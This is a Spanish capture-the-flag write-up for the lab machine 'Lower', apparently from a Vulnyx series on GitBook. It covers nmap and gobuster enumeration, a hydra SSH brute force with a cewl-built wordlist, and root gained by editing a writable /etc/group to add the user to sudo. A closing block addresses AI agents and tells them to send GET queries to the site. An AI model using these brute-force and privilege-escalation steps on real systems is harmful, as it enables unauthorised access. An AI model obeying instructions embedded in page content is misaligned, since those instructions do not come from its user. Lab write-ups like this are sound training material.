# Lower
### 🔍 **RECONOCIMIENTO**
En primer lugar, tras conectarnos a la máquina, utilizamos el comando:
```bash
ping -c 1 192.168.1.63
```
para verificar la conectividad de red.
A continuación, se realiza el comando:
```bash
nmap -p- --open 192.168.1.63 --min-rate 5000 -n
```
para realizar un escaneo de puertos y servicios detallado en la dirección IP.
Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.
### 🔎 **EXPLORACIÓN**
Se utiliza el comando:
```bash
sudo nmap -sCV -p22,80 -v 192.168.1.63
```
para obtener más información sobre ese puerto específicamente.
Miramos el puerto 80 en la que ponemos el dominio **unique.nyx** en **/etc/hosts**.
Buscamos subdominios.
```bash
gobuster vhost -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://unique.nyx --append-domain
```
Encontramos este subdominio por lo que lo añadimos en **/etc/hosts**.
Aunque encontramos una nueva web no encontramos nada relevante por lo que hacemos una búsqueda de directorios.
```bash
gobuster dir -u http://tech.unique.nyx -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```
No encontramos nada relevante pero si vemos ciertos posibles usuarios por lo que creamos un diccionario.
```bash
cewl http://tech.unique.nyx/ --with-numbers -w usuarios
```
### 🚀 **EXPLOTACIÓN**
Realizamos un ataque de fuerza bruta para obtener las credenciales.
```bash
hydra -t 64 -L usuarios -P passwords ssh://192.168.1.63 -F -I
```
Teniendo las credenciales nos logueamos.
```bash
ssh lancer@192.168.1.63
```
### 🔐 PRIVILEGIOS
Al estar dentro y ejecutar:
```bash
whoami
```
aún no somos **root**, por lo que hacemos:
```bash
sudo -l
```
para ver si hay algo para explotar. No tenemos permisos SUDO.
Usamos la herramienta [linPEAS ](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)que nos ayuda a indetificar para obtener acceso.
```bash
scp linpeas.sh lancer@192.168.1.63:/home/lancer
```
Al ejecutar el script, descubrimos que contamos con permisos de escritura en el archivo `/etc/group`. Esto nos permite modificar la configuración de los grupos y agregar al usuario `lancer` al grupo `sudo`.
```bash
nano /etc/group
su --login $USER
id
sudo su
```
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://beafn28.gitbook.io/beafn28/writeups/vulnyx/lower.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.